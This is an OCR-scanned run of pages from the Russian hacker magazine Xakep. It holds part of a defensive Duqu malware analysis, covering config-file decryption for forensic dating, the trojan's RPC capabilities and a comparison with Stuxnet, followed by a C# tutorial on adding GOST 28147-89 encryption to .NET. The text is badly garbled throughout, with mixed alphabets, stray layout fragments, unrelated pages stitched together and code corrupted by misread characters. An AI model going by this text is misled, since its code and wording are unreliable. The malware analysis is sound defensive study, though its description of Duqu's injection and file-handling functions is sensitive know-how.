удалось обнаружить одну интересную вещь. Оказывается, в про­

цессе заражения формируется так называемая main.dlliocнoвнoй компонент Duqul, в которой сохраняется точная дата заражения в UТС-формате. На рисунке 7 можно видеть декомпилированный код, осуществляющий nроверку этой самой даты.

gamma = (0х2Ь, 0х72, 0х73, 0х34, 0х99, 0x7l, 0х98, 0хАЕ) Эти данные позволяют установить в процессе криминалистиче­

ской экспертизы точную дату и время заражения машины . В отчете

<<Duqu: the ргесuгsог to the next Stuxnet>> указано, что время жиз ни вируса на зараженной машине составляет 36 дней, п осле чего о н автоматически удаляется. Для того чтобы узнать дату заражения,

сначала нужно расшифровать конфигурационные файлы при по­

мощи нехитрого самопального криnтаалгоритма !рисунок 81.

а = 0 for ix in xrange(len(data)) :

data ( ix] л = ga!Т.ma (а)

а = а + l

if а == 7: а = 0

Рис . 8. Расшифровываем конфигурационные файлы

Рис . 9. Конфигурационный файл заражения

Рис. 10. Еще один конфигурационный файл заражения

14.10.2011

Лаборатория CrySyS обнародует информацию

для сторон ни х

специалистов.

082

19.10.2011

Появляется аналитический

отчет «Duqu: the precur­sor to the пехt Stuxnet>>, содержащий первую

публичную информацию о

Win32/Duqu.

Изучив несколько наборов сэмплов, мы выяснили , что эта дата

может меняться и, скорее всего, выставляется в nроцессе зара-

1.11.2011

Подтверждена информация

о некоторых целя х

!точнее, о странах, где

они находятся!. Найден

драпnер для уязв имости

нулевого дня ICVE-2011-34021, связанной с инцидентом, который

расследуют ребята из

CrySyS.

3.11.2011

Выходит Microsoft Secu­rity Advisory 126396581, который вносит ясность в

вопрос о типе уязвимости.

Становится ясно, что

уяз вимость кроется в

системном компоненте

wiп32k.sys и представляет

собой ошибку в парсере

шрифтов TrueType .

time of infection

to live

time of infection

to live

4.11.2011

Распространяется

информация с описанием

уязвимости CVE-2011-3402 по программе Microsoft Active Protections Program IMAPPI. Доступ к драпперу с эксплойтом имеют

только CrySyS, Symaпtec и Microsoft . Распространение драппера ограничено, так

как внутри него содержится

информация, раскрывающая

имена целей .

ХАКЕР 01/156/2012

Page 85: haker

·1 1 ~ i§. - " !..-.• ; ·-

~- ~ ь,. .?J

l ен -- -r==:::: .

1

r:::-1-, ---'--;1 1

Рис . 11. RPC в Duqu

жени я с учетом ко нф игура ционны х данных дро пп ера. Один набор

сэмплов, который имелся в нашем распоряжении , также должен

был удалиться через 36 дней, а вот второй - уже через 30. Конфи­гурационный файл, в котором указаны дата заражения 11.08.2011, его время 7:50 :01 и п ериод существова ни я троя нца в системе 36 дней, представлен н а рисунке 9, а конфигурационный файл с датой 18.08.20 11 , временем 7:29:07 и пери одом 30 дней- на рисунке 10.

RРС-ПРОТОКОЛ DUQU VS STUXNET Особенности реализации RРС-протокола еще раз подтверждают

сходство кода Duqu и Stuxnet. RРС-протокол представляет собой

одну из сам ы х интересных частей Stuxnet. В Duqu этот nротокол ,

который nодробно о пи са н в нашем исследовании <<Stuxnet undeг the Micгoscope» lстр. 56-57), реализован н е nолностью. Проа нали­зировав реализацию локальной части протокола RPC в одн ом из комnоне нтов Duqu и сравнив дв е основные процедуры в BinDiff, мы получили интересные результаты !рисунок 11) .

Код оказался практически идентичным, за исключением н есу­

щественных артефактов, которые nоявились после его рекомпиля­

ции в составе Duqu . Сам RPC имеет следующий функционал: RpcHandler_1- возвращаетустановленную вер с ию;

RpcHandler_2 - вы п олняет инжект модуля в указанный процесс и

вызываетуказанную функцию экспорта;

RрсНаndlеr_З- загружает модуль и выполняет его с точки входа;

Рис . 12. Декомпилированный код обработчика, который возвращает номер версии

ХАКЕР 01 /156/2012

Силен Дуку очень

Легальные цифровые подписи

Модульная архитектура да да

Внедрение в SСАDА-системы да нет

r Модуль-кейлоггер н ет да

Обход антивирусной защиты да да

Использованиеуязвимастей 1-day да нет

Использование уязвимастей 0-day

Внедрение в системные процессы

~ И<non""'"" RPC-np""'"' Хранение модулей в секции ресурсов

Использование методологии ООП

Обработка ошибок (в том числе и в шеллкоде)

Высокая стабильность кода да

Использование компилятора Visual С++ да

Использование библиотеки шаблонов ATL да

Использование упаковщика UPX да

Функциональность Stuxnet vs. Duqu

RpcHandler_ '-запускает процесс посредством вызова

CгeatePгocessll;

RрсНаndlег_S-читает содержимое указа н ного файла (например,

кон фига);

RрсНаndlег_6 -записывает данные в указанный файл;

RрсНаndlег_7- удал яетуказанный файл из системы.

Декомпилирован ный код обработчика, кото рый возвращает

н омер версии, представлен н а рисунке 12. И с п ользова ни е RРС - протокол а п озволя ет троянцу оставаться

незамеченным и н е вызывать подозрений со стороны разли ч н ого

защитного ПО .

ЗАЧЕМ ЭТО ВСЕ? В рамках одн ой статьи не представляется воз можным рассказать

обо всех технических нюансах этой вредоносной программ ы-один

наш а налитический отчет по Stuxnet за нял более 80 страниц: ),­

поэтому в завершение я предлагаю тебе задаться вечным философ­

ским во просом <<зачем?>>.

Уже н и для кого н е секрет, что многие государств а формиру-

ют с п е ци ал ьны е военные подразделения для создания средств

нападения в киберпространстве. Разрабатываются доктрины,

регламентирующие п оследователь ность де йствий во время

кибервойны. Возможно, что история со Stuxпet, а те п е рь и с Duqu представляет собой как раз результат работы одн ого из таких вот

подразделе ний . Сейчас сложно сказать, какова истинная цель и

предназначение Duqu, так как в этой истории еще слишком много белых пятен, тем более что функционал этой вредоносной про­

граммы может различаться для разных целей , а дополнительно за­

гружаемьrе модули расширяют ее возможности. Н а данный момент

также обнаружен модуль-кейлоггер, который устанавливался на

некоторые зараженные машины . Но это уже тема для отдельной

статьи, а те , кто хотят разобраться во всем самостоятельно, смогут

найти некоторые ком п оне нты Duqu в Сети. ::Х:

083

Page 86: haker

- ·- -...._ __ _ .. ___ ..... ---·------~ ---.--·-... --------·----------·--........... _ ... __ _ -... --.--·-·------·--· ... -·~------·---... -·~- .... ---..-___ ,",__,_ ... __ _ -··---~----.. .... -----.... _____ _ ----­·----· --·-.. ----.. __ .... ___ ...,_,""__ __

Page 87: haker

Шаг 1 проверка

• Шаг 2- удаление виру .. . W.1r 3 удал(>н~е шnио .. . Ш<tr -1 проверка на на .. . Готово

< ~ИА 1 1 Д~пее >

Page 88: haker

Тревога Обнаружена угроза !

Объекr: lv! BR-ceктop физического диска О

Угроза : 1iп32/Ghodo•N.NAD троянс ая прогр аииа

Переда йте объект в коr·1 П ан ию ESET для ан ализа.

Очисппь - Рекаиендуется В этои объекте содержится возr·южная угроза для КО1·1П ьютера. Данная функ r 1я позволяет полностью удалить возиожную угрозу с коипьютера .

Ничего не nредПРIIнимать - Не рекоиендуе-ся Несr·ютря на наличие возr·1 Ожной угрозы, данный объект не будет очищен ил11 удален и останется н а КО 1·1ПЬЮТере.

Program: C:\Program Files\Rising\RIS\rsmain.exe

This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information.

Program: C:\Program Files\Rising\RIS\RsTray.exe

This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information.

Page 89: haker

Preview UNIXOID

СВОЯ"ПРОШИВКАДЛЯАNОRОID

Альтернатная прошивка СуапоgепМоd,

которую когда-то начилала разраба­

тыватьгруппа энтузиастов, сейчас

установле н а более ч ем н а 2 миллионах Апd г оid-устройств . Многие инсталят

ее сразу после покупки телефона, от­

казываясь от официальных firmware. Но мало кто знает, что можно создать

свою собственную прошивку, и сделать

э то не так уж и сложно. За основу можно

взятьуже существующую прошивку и

немного ее модифицировать, добавив

необходимое ПО и подправив некото­

рые системные пара метры, влияющие

на время отклика экрана, время жизни

батареи, работу ЗG-модуля и т. д .

Это статья- пол ны й мануал по сборке

своей хакерекой Апdгоid-прошивки для

твоего телефона.

КОДИНГ

8о. о 8о. 1 8 о. 2 ао.1 ь •.• ь •.• ь •.• ь •.• ь, ,. Ь, , , ь. .• ь,,. 81.2 81.1 --·

.МЕТ-КРИПТОГРАФИЯ

Для шифрования по ГО СТу не надо самому

реализовать крипта-алгоритмы. Все уже

нативно реализовано программистами

Microsoft. И вроде даже не криво-накосо.

SYN\ACK

11 БУМАЖНАЯ РАБОТА БЕЗОПАСНИКА

Чтонасамомделезначит«безопасная

система>> для регулирующих органов?

Увы, совсем нет о же самое, что система, в

которойнетуязвимостей.

ХАКЕР 01/156/2012

UNIXOID

АТАКАФОРКОВ

Альтернативные ветки популярных проек­

тов порой развиваются так стремительно,

что многие попросту забывают об их про­

родителях. Вотчто значиторепsоuгсе .

FERRUM

• ТЕСТ-ДРАЙВNАS'ОВ Сетевые хранилища из старого Peпtium и

IDЕ-дисков-suх! Нам нужна производи­

тельность , объем под 12Тб и возможность

поднять на NAS'e полезныесервисы.

SYN\ACK

• ЗАЩИЩАЕМ ДАННЫЕ В <<ОБЛАКЕ»

Облачные провайдеры позволяют п одн ять

100 серверов в один клик. Но и также про­сто позволяютих уронить. Такможно ли

доверятьданные облачным провайдерам?

ФРИКИНГ

• LООРВОБЛАГО

Когда всетщательно избегаютсозда­

ния петли в локальной сети, пытливый

ум фрикера придумы вает, как извлечь

из нее пользу. Сумасшедший.

087

Page 90: haker

КОДИНГ plaintext [f i гstlaplaintext.su, www.plaintext.sul

• ИЯ

РАЗБИРАЕМСЯ С КРИПТОГРАФИЧЕСКОЙ ПOДCИCTEMOЙ.NETFRAMEWORK

Исходники всех nримеров смотри

на прилагаемом к

журналу диске .

Сегодня сложно найти

информационную систему,

которая бы не использовала

криптографию. Коммерческие

системы в большинстве своем

используют криптографические

примитивы, которые внесены

в стандарты в США, но порой

возникают ситуации, когда такой

вариант просто неприемлем.

Здоровый партриотизм,

отсутствие доверия и некоторые

законы наталкивают нас на

мысль о применении своих

алгоритмов, определенных

в наших государственных

стандартах [ГОСТах].

088

• Stгong name сборки -набор nараметров ,

включающий в себя имя сборки, версию, информацию о культуре, а

также открытый

ключ и значение

электронной подписи .

• Криnтографический примитив­

обобщенное

название

какого-либо

криnтографического

алгоритма или

протокола .

• htto:Uaacbгowser. Ыogsoot .com/- сайт разработчика GAC Вгоwsег.

• bjt.[y/uyxZs5 -статья о том,

как реализовать

алгоритм по ГОСТу 28147-89 на С#.

этой статье я расскажу о том, как устрое на кри птографи­

ческая подсистема .NET Fгamewo г k, п редставле нн ая в

пространстве имен System.Secuгity. Cгyptogгaphi, а также

о том, как реализовать свой алгоритм в стиле .N ET Fгamewoгk и заставить CLR использо вать его в качеств е криптографического ал горитма по умолчанию.

Это поможет тебе как в разработке собственн ых криптоправай­

деров для .NET, так и во в н едре нии уже существующи х библиотек с

криптографическими ал горитмами.

SYSTEM.SECURITY.CRYPTOGRAPHI Все, что касается крипто графии, в .NET Fгamewoгk находится в пространстве имен System . Secuгity.Cгyptogгaphi, которое условно

можн о разделить на следующи е составля ющие:

кри птографические примитивы-набор классов, применя е мых

для р еализа ции алгоритмов шифрования, хе ш-функций и т. д .;

• вспомогательные классы -отвечают за генерацию случайных

чисел, шифрование на ос н ове п отоковой модели и т. д. ;

• сертификаты Х.509 и цифровые подписи ХМL-документов

[XM LSigпatuгel.

Что касается криптографических п ри м итиво в , то для всех

их ти п ов имеются абстрактные классы и интерфейсы , от кото­

рых насл еду ются конкретные программные реализации а лго­

ритмо в [см. рисунок 1]. Так, любая реализация симметр ичн о г о

ал горитма шифрования должна наследовать абстрактный

класс Symmetгicдlgoгithm, алгоритм с открытым ключом-

ХАКЕР 01/156/2012

Page 91: haker

AssymetгicAigoгithm, функции хеширования- HashAigoгithm

или KeyedHashAigoг i thm в зависимости от того, ключевая это

или бесключевая хеш-функция. В .NET в основном реализованы алгоритмы, описанные в стандартах, которые действуют или

действовали ранее за рубежом. Нашего ГОСТа 28147-89 среди них, естественно, нет, поэтому я использовал именно этот алгоритм

для своих при~еров.

SYMMETRICALGORITHM Как я уже упомянул, для реализации симметричных алго­

ритмов в .NET Fгamewoгk используется абстрактный класс SymmetгicAigoгithm. Согласно MSDN, в этом абстрактном классе обязательно необходимо переопределить следующие четыре

метода :

puЫic virtual ICryptoTransform CreateDecryptor(); puЬlic virtual ICryptoTransform CreateEncryptor(); puЫic abstract void GenerateiV(); puЫic abstract void GenerateKey();

С последними двумя методами все понятно, они необходимы

для выработки ключа и вектора инициализации, и реализовать

их не составляет труда. Необходимо разобраться, что представ­

ляет собой интерфейс ICгyptoTгansfoгm в первых двух методах.

MSDN выручает нас и на этот раз. Согласно документации ,

ICгyptoTгansfoгm позволяет реализовать четыре свой ства и три

метода . Вот самые интересные из них:

int TransformBlock(byte[] inputBuffer, int inputOffset, int inputCount, byte [] outputBuffer, int outputOffset);

byte [] TransformFinalBlock( byte [] inputBuffer, int inputOffset, int inputCount);

Первый отвечает за преобразование nромежуточного блока

данных, второй- за обработку последнего блока . В MSDN также говорится, что « классы блочных шифров, являющиеся произво­

дными класса SymmetгicAigoгithm, и с пользуют режим сцепления ,

называемый сцеплением блоков шифротекста [СВС) ». Это по рождает определенную проблему, так как отечествен­

ный стандарт ГОСТ 28147-89 определяет четыре режима работы алгоритма, среди которых СВС нет. Однако вскрытие по казало, что

.NET Fгamewoгk'y все равно, как цепляются блоки, поэтому будем использовать режим гаммирования с обратной связью [CFB). На данном этапе у нас уже достаточно сведений, чтобы перейти непо­

с редственно к кодингу.

KO,LJ,ИM ГОСТ28147-89 Будем исходить из того , что реализация алгоритма ГОСТ28147-89

в режиме ЕСВ [простой замены) уже имеется и сосредоточимся только на том, что касается .NET Fгamewoгk'a и режима CFB. Создадим скелет класса GostCfb, который будем постепенно на­полнять кодом.

Режим работы CFB (rаммирование с обратной связью)

ХАКЕР 01 / 156/2012

.NЕТ-криптография

~8fiiOPIIIПIIЬI ~с: о"""""""~ ----.эцn

11 - 11 ,.,_

11 - 1 -1 AES 1 н OSA J н - J

ь .. _

1 4 ~ 1 ь НIМСSНА1 1

.... ......_ 1 LJ RSA 1 МАСТ~S 1 н OES 1 4 ·~ 1 н ...,. 1

ь DE- 1_, __ 4 ...".",....._ 1 DE- 11 Ass)'metric:К~ 1 --1 ....... 1 н RC2 11 Ass~uici<~Jonnanor 1 ь-·~ 1

4 ~ 11 Ass~U.~ 1 ...... _ 1

н - 11 ..__ 1 --1 """"" 1

4 - 1 4 ...."....,_ 1 LJ T~S 1 1 ....... " н

.....,.. 1 4т~- ~ 4 $НA51 2Мanaged 1 ч-

....,.._ 1

Основные классы криптографических примитивое в .NЕТ Framework

namespace Gost {

puЫic class GostCfb : SymmetricAlgorithm {

puЬlic GostCfb(){} puЬlic override ICryptoTransform CreateDecryptor

){}

byte [] rgbKey, byte [] rgЫV

puЫic overr ide ICryptoTransform CreateDecryptor() {} puЫic override ICryptoTransform CreateEncryptor

){}

byte [] rgbKey, byte [] rgЫV

puЫic override ICryptoTransform CreateEncryptor() {} puЫic override void GenerateiV(){} puЫic override void GenerateKey(){

Местами в коде я буду использовать два статических метода .

private static byte [] GetRandomBytes( int bytesCount) QГivate static void Gamm( byte [] input,

byte [] gamma, byte [] output)

Первый с помощью встроенного в систему генератора случай­

ны х чис ел выдает массив со случайными данными. Второй просто

ВСКРЫТИЕ ПОКАЗАЛО, ЧТО .NET FRAMEWORK'Y ВСЕ РАВНО, КАК ЦЕПЛЯЮТСЯ БЛОКИ, ПОЭТОМУ

БУДЕМ ИСПОЛЬЗОВАТЬ РЕЖИМ

ГАММИРОВАНИЯ С ОБРАТНОЙ СВЯЗЬЮ (CFB)

089

Page 92: haker

КОДИНГ

·---.... --· '""'"""''

Gost" Х

Г П~ь~CickOnce

i:.Of.'llj~ l1nl к.., ... ., Ь.ТJ П~rw.....,.~ !..,1 CJI(:t.a~ нrтl

1

"'"--· Б~eqlo!IA/Iк-crpororo~ ......... ГToA~oU~OТJIO....МI"'CCIaВQ

8 С~ОТ~пааrи:мnроекt111МЬ3А~-ЬЧNОТМ111,UfЬ,

Подпись сборки

осуществляет XOR двух массивов. На диске, прилагаемом к журналу, ты сможешь найти исходник и этих статических методов.

Функция GetRaпdomBytes легко позволяет реализовать методы

GeпeгateiV и GепегаtеКеу: она просто генерирует случайные дан­

ные и присваивает соответствующие массивы свойствам IVValue и KeyValue, которые служат для хранения вектора инициализации и ключа шифрования соответственно.

В конструкторе нашего класса определяем возможные размеры

блока и ключа. Эти размеры, указываемые в битах, для описанного

в ГОСТе алгоритма равны 64 и 256 бит.

puЫic GostCfb() {

}

LegalBlockSizesValue = new[] { new Key5izes( 64, 64, е ) };

LegalKeySizesValue = new [] { new Key5izes( 256, 256, е ) };

BlockSizeValue = 64; KeySizeValue = 256;

Прежде чем перейти к реализации методов СгеаtеЕnсгурtог

и СгеаtеОесгурtог, определим внутри нашего класса GostCfb еще пару классов, наследующих ICгyptoTгansfoгm.

private sealed class GostCfЫransformEncr:ICryptoTransform

{} private sealed class GostCfЫransformDecr:ICryptoTransform {}

После этого реализовать методы типа СгеаtеЕnсгурtог не соста­

вит труда- нужно просто создать и вернуть объект соответствую­

щего класса. На этом закончу рассказ об основном классе GostCfb. Во всем, что осталось <<за кадром», легко разобраться самостоя­

тельно, заглянув в исходники .

ВСЕ OID СОБРАНЫ В СПЕЦИАЛЬ­НУЮ ДРЕВОВИДНУЮ СТРУКТУ­

РУ, КАЖДЫЙ ЭЛЕМЕНТ КОТО­РОЙ АССОЦИИРОВАН С ИМЕНЕМ И ЧИСЛОМ, ИСПОЛЬЗУЕМЫМ

ПРИ ПЕРЕДАЧЕ ДАННЫХ

090

010

В открытом мире информационных технологий и

телекоммуникаций часто возникает потребность сослаться на

какой-либо <<объект>>, причем ссылка должна быть уникальной и

универсальной. Обычно в данном случае под <<объектом>> понимают

тип данны х [например, формат файла] , а не их единичный экземпляр

[например , конкретный файл] . Многие стандарты определяют

некоторые объекты, которые нуждаются в точной идентификации.

Такая точная идентификация достигается за счет присвоения

каждому объекту своего идентификатора 010 [object identificatoг], причем присвоение может осуществлять любая из заинтересованных

сторон. Все 010 собраны в специальную древовидную структуру, каждый элемент которой ассоциирован с именем [слово,

начинающееся с маленькой буквы] и числом , используемым

при передаче данных. Семантически 010 представляет собой упорядоченный список компонентов объектного идентификатора

laгcs], например:

"{joint-iso-itu-t(2) ds(5) attributeType(4) distinguishedName(49)}"

или

"2.5.4.49"

Регистрационное дерево идентификаторов управляется

децентрализовано [каждый узел не налагает никаких ограничений

на дочерние узлы]. Проект ASN.1 поддерживает репозиторий ,

который собирает информацию об объектах и их идентификаторах,

но из-за децентрализации собрать все идентификаторы в одном

месте не представляется возможным . Репазитарий располагается по

адресу www. o i d- iпfo . com .

ASN.1- абстрактно-синтаксическая нотация- язык для

описания абстрактного синтаксиса данных, который состоит из

набора формальных правил для определения структуры объектов,

не зависящих от конкретной машины. Технологию ASN .1 широко

используют как в ITU-T, так и в других организациях, занимающихся стандартизацией. Эту нотацию также поддерживают многие

производители программнога обеспечения.

KЛACCGOSTCFBTRANSFORMENCR Я уже говорил , что на основе реализации стандарта, описанного в

ГОСТе, в режиме ЕСВ собираюсь реализовать режим CFB, в котором шифрование осуществляется по схеме, представленной на рисунке

21по сути, надо просто ее закодить]. Заведем несколько приватных

членов для хранения ключа шифрования и вектора инициализа­

ции !состояния] и один вспомогательный массив, по длине равный блоку данных.

11 Ключ шифрования

private byte [] m_Key; 11 Сначала вектор инициализации, ну а потом

11 промежуточные значения private byte [] m_State; 11 Вспомогательный массив private byte [] tmpState;

Сам метод шифрования промежуточного блока реализуется

следующим образом :

puЫic int TransformBlock( ... )

ХАКЕР 01/156/2012

Page 93: haker

byte[] plainBlock int result = е ;

new byte[8);

while (inputCount > е )

{ 11 Копируем блок открытого текста Array .Copy(inputBuffer, inputOffset, plainBlock, е , 8 };

Gost28147 .Gost28147Ecb(m_State, tmpState, m_Key); Gamm(plainBlock, tmpState, m_State); Array.Copy(m_State, е , outputBuffer, outputOffset, 8} inputCount -= 8; inputOffset += 8; outputOffset += 8; result += 8;

return result;

Из приведенного куска кода я выкинул несколько строк,

которые не влияют на суть . Как видно, здесь выполняется шиф­

рование текущего состояния, а затем над результатом и блоком

открытого текста осуществляется XOR. Полученный шифрован­ный текст, являющийся новым состоянием схемы, записывается

в выходном массиве и сохраняется в приватном члене класса.

Метод TгansfoгmFinaiBiock аналогичен по функционалу методу

TгansfoгmBiock , nоэтому nриводить здесь его код я не буду. Скажу

лишь только, что для шифрования последнего неполного блока

берется столько же байтов промежуточного состояния, сколько

байтов содержится в последнем неполном блоке. Класс GostCfbTгansfoгmDecг реализуется аналогично классу

GostCfbTгansfoгmEncr, только в данном случае опираться надо

на схему дешифрования CFB, понять принцип которой, я думаю, ты сможешь сам [ну а если не сможешь, ее легко восстановить по

исходникам на диске!.

KEYEDHASHALGORIТH М С абстрактным классом KeyedHashAigoгithm все гораздо проще . Он

происходит от абстрактного класса HashAigoгithm , при на следова­

нии от которого необходимо переопределить всего два метода:

protected abstract void HashCore( byte [) array, int ibStart, int cbSize)

protected abstract byte [) HashFinal(}

Будем использо вать указанный класс в качестве базового

"""' -- "'"""" [~ <•CLR2..0 г/ CLR_. ~ - 0 Solod111Noи

И..Ис...t1•

\ дs•tmЫyNemt lPuЫi~КeJ г · FSI\Ilp.Lqu.;•Servic•

!Cuituf• I.A.-thittctur• lv.,.,lon i ~.t•tМoclified ~ -Ь0.300flld5 ""' .:о.оо 09.112010192' :24 "'' о Г FSI-.rp.\.мlgu.;t~S.Vict.В.It Ь03f5f7f11d5 MOL 4.0.0.0 09.11201019•24:24 v4.0

- Г FSI\arp. Projк\Syl !tт.S.It Ь03fSf7/11dS MOL 4.0.0.0 09.11 .201019·2•:24 v4.0

Г FSharp.Pfojtct9-JS\tm.FShlfD Ь0)15f71tlc!S ""' 4.00.0 09.1120101t.24:24 v4.0

- ! ~-;::•::·~~-::Syattm.PrOPtltYP~s Ь0Зf5f7f1 1d5 MOL 4.00.0 0911201019:2.t:24 v4.0 hDJMH >d< ""' ""'"'" Г GosiAig1 9Ь0881J818cl N M9L 1.00.0 2311201119~1 :5:5 V4.0

Г IE~'::'~"IIVIn ;:;;~;~~ ~· 2.00.0 ~ 'N"'"" '

1- МSIL 140720096:20:09 г lEНost ~fllciS U9L 2.0.0.0 140720096:20'09 Г IIEНoat Ь0300111с!5 U9L 2.0.00 140720096.20-09

1- Г lnlttoo.SНDocVw lf:k'Б57e•O U9L 11.00 10. 1120101952.Щ

г ISym\•Jщ•ptt Ь03f5f7111c!5 32Ьil 2.0.0.0 14072009620'09 Г ISym\oJr,pper ~f11d5 S:Ь.! 2.0.0.0 14072009620:09 Г ISym\oJrИ~Ptf ЬО"Эаi111с!5 )2bll 400.0 09.1120101913.36 vl .O Г IS.,.m\•k•pper ЬOЗf5f1f11d5 S:Ьil 400.0 09112010191].:1 ,,, г ...... 31Ьf38~ MOL 6.10.0 1: 07200910;: 7:27 г~ ... 31Ьf3856ad3 U9l 6.1.0.0 1l07200910;47:27

Информация о сборке в GAC Browser

ХАКЕР 01/156/2012

.NЕТ-криптография

CryptoStr~am ~ncr • new CryptoStr~am imitoStr :а

r~at~ ();

{Gost.GostCfb) 64

CLR по умолчанию создает экземпляр нашего класса

при реализации режима выработки имитовставки, описанного в

ГОСТе 28147-89. Я снова возьму за основу программную реализа­цию базового преобразования [на этот раз 16 раундов описанно­го в ГОСТе алгоритма, так как режим выработки имитоеставки

использует только 16 рау ндов! . Кстати, класс, производный от HashAigoгithm, реализуется практически так же, как класс,

который наследуется от KeyedHashAigoгithm : переопределить

надо те же самые методы.

РЕЖИМ ВЫРАБОТКИ ИМИТОВСТАВКИ Режим выработки имитоеставки по ГОСТу 28147-89 реализует-ся с помощью класса Gostlmito. Для этого присваиваем полю KeyVal ue з начение ключа и уста навливаем значение поля Ha shVa lueSize равным 32, так как длина имитоеставки составля­ет 32 бита.

В переопределении метода HashCoгe также нет ничего слож­

ного- в итоге все сводится к использованию метода , работаю­

щего с целыми блоками данных [в исходникахметод называется

lnt eгnai Tгansfoгml . Каждый блок данных преобразуется в две п еременны е типа DWORD, к которым применяется 16-раундовая процедура шифрования , описанная в ГОСТе :

uint templnH = Gost28147.Bytes2Dword(array, ( i nt )(ibStart + i * 8));

uint templnl = Gost28147.Bytes2Dword(array, ( int )(ibStart + i * 8 + 4}};

uint tempOutH = е ;

uint tempOutL = е ;

Gost28147.EncryptBlocklб(ref templnH, ref templnl, ref tempOutH, ref tempOutL, Gost28147.P, KeyValue);

ulmito л= tempOutH;

В цикле сначала преобразуем блок данных [8 байт! в две пере­менные DWORD, затем nрименяем 16-раундовое шифрование по ГОСТу [En c гyptBiock161, а по сле ксорим полученное значение с предыдущим . Преобразование блока данных в две переменные

типа DWORD необходимо, во-первых, для увеличения скорости работы алгоритма [XOR двух значений типа DWORD выполняется гораздо быстрее, чем XOR двух четыре хбайтовых массивов!, а во­вторых, для удобства программирования.

Метод HashFinal реализуется аналогично, при этомнеполный блок дополняется до полного нулями .

На следующем этапе встраивания с воего алгоритма в .NET Fгamewoгk н еобходимо добавить сборку в GAC.

ОБАВЛЕНИЕ СБОРКИ В GAC Если ты не новичок в .NET, то наверняка слышал аббревиатуру GAC, которая ра с шифровывается как Global AssemЫy Cache [гл о-

091

Page 94: haker

КОДИНГ

бальное х р а нилище сбо рок! . GAC с лужит для хранения сборок, разработанных для нескольки х приложений . Сборки, помещае­

мые в глобальное хра нилище, д олжны иметь st гong name, что, в частности, обязывает нас п одпи сать сбо рк у.

Для нач ала н еобходимо сгенерировать пару ключей подписи, в

ч ем тебе поможет утилита sn .exe, которая идет в комплекте с .NET Fгamewoгk. Открываем консоль и пишем:

sn.exe -k keypair.snk

Эта утилита ге н ери рует открытый и секретный ключи подписи и

за пи сы ва ет их в файл keypaiг.sпk. Те перь в свойствах нашего про­

екта на закладке Sig niпg необходимо поставить галочку напротив

Sig n the assemЫy и указать п уть к твоему файлу с парой ключей [см. рисунок 31. П осле делаем билд . Все, п одпи санная сборка готова.

Сборки добавляются в GAC с помощью специальной утилиты gacutil, которая также поставляетс я с .NET Fгamewo гk . Е сли у тебя

на компенесколько вер с ий .NET, ты должен выбрать утилиту для своей версии фреймворка, иначе сборка в GAC не добавится. В консоли п ишем:

gacutil / i <Путь и имя сборки >

Теперь нам надо уз нать PuЫ ic Кеу Тоkеп, версию и Cultuгe сбор­

ки, что можно сделать при п омощи либо GAC Ехрlогег, встроен н ого

в Windows, либо бесплатной утилиты GAC Вгоwsег [см. ри сунок 41.

ИЗМЕНЕНИЕ КОНФИГУРА ИИ На втором этапе добавления нашего алгоритма в .NET произво­дится пр а вк а е го конфигурации. Основные п араметры фреймварка

собраны в файле machine.coпfig, который имеет формат XM L и от­вечает за настройку фреймварка для все й системы в целом .

За криптографи ч еские настройки от вечает злемент

cгyptogгaphySetting s, к оторый является доч ерним злементом

mscoгlib. Про цедура привязки имени класса криптографиче-

ско го алгоритма к им е ни алгоритма на зыва ется Name Mapping. Она выполняется следующи м образом : сначала объявляем класс

алг о ритма при n о мощи элем е нта cгyptoCia ss, а затем привязыва­

ем строкавое имя алгоритма к объявленному классу при nомощи

элемента nameEntгy. Таким образом, в частности, можно заменить

все ста ндартные имена алгоритмов .

Привязка 010 к ранее объявленному классу ал горитма осущест-

вляется при помощи эл еме нта oidMa p и его дочернего элемента oid Entг y.

<cryptographySettings> <cryptoNameMapping > <c ryptoClasses > <cryptoClass GOSTCFB; "Gost.GostCfb, GostAlgs, Version;l.e.e.e,Culture;ru,PuЬlicKeyToken;9be88f4818daa492"/>

<cryptoClass GOSТIMIТQ; "Gost.Gostimito, GostAlgs, Version;l.e.e.e,Culture;ru,PuЫicKeyToken;9be88f4818daa492"/>

</cryptoClasses > <nameEntry name; "GostimitoAlg" class; "GOSТIMIТO" /> <nameEntry name; "GostCfbAlg" class; "GOSTCFB" /> <nameEntry name; "System.Security.Cryptography.KeyedHashAlgorithm" class; "GOSTIMITO" /> <nameEntry name; "System.Security.Cryptography.SymmetricAlgorithm" class; "GOSTCFB" /> </cryptoNameMapping > <oidMap> <oidEntry OID; "1.2.б43.2.2.21" name; "GostCfbAlg" /> <oidEntry OID; "1.2.б43.2.2.22" name; "GostimitoAlg" /> </oidMap > </c ryptographySettings >

Здесь мы объявляем классы GOSTC FB и GOSTIMITO, а затем привязываем имя GostCfbAig к имени класса GostCfb, а Gost lmitoAig -к имени класса Gost lm ito.

Строки

<nameEntry name; "System.Security.Cryptography.KeyedHashAlgorithm" class ; "GOSTIMITO" /> <nameEntry name; "System.Security.Cryptography.SymmetricAlgorithm" class; "GOSTCFB" />

гарантируют, что теперь п о умолчанию симметричным ал го ­

ритмом является GostCfb, а ключевой хеш-функцией- Gostlmito lсм. рисунок 51. Теперь при вызове метода SymmetгicAigoгithm. Сгеаtе с параметром GostCfbAig будет создаваться эк-земпляр нашего класса. То же самое в е рно и для вызова

KeyedHashAlgoгithm i mito ( KeyedHashAlgoгithm ) Сгу toConfi . CгeatefгomName ( "GostimitoA~. new оЬ 'ect Гl {key});

[в "i$ CryptoConfig System.Security.Cryptography.CryptoConfig 1 System.Secu

CгyptoStгeam еnсг = new Сгурt CгyptoStгeam imitoStг = new С

while (rdlen < totallen) {

tгу

{

RawView

Внутреннее устройство класса CryptoConfig

092

base { object} object , AllowOnlyFipsAigorithms false ; Non-PuЫic members

1±1 (i/ appNameHT 1±1 , appOidHT 1±1 Гif defaultNameHT

- DefaultNameHT DefaultOidHT

г (kеу, IV) , CгyptoStгeamМode . Wгite);

гyptoStгeamМode . Write );

Count =О Count =О Count = 125 Count = 125 Count = 28

defaultOidHT Count = 28 , InternaiSyncObject { object} Гif MachineConfigFilename .. "machine.config"

machineNameHT Count = 3

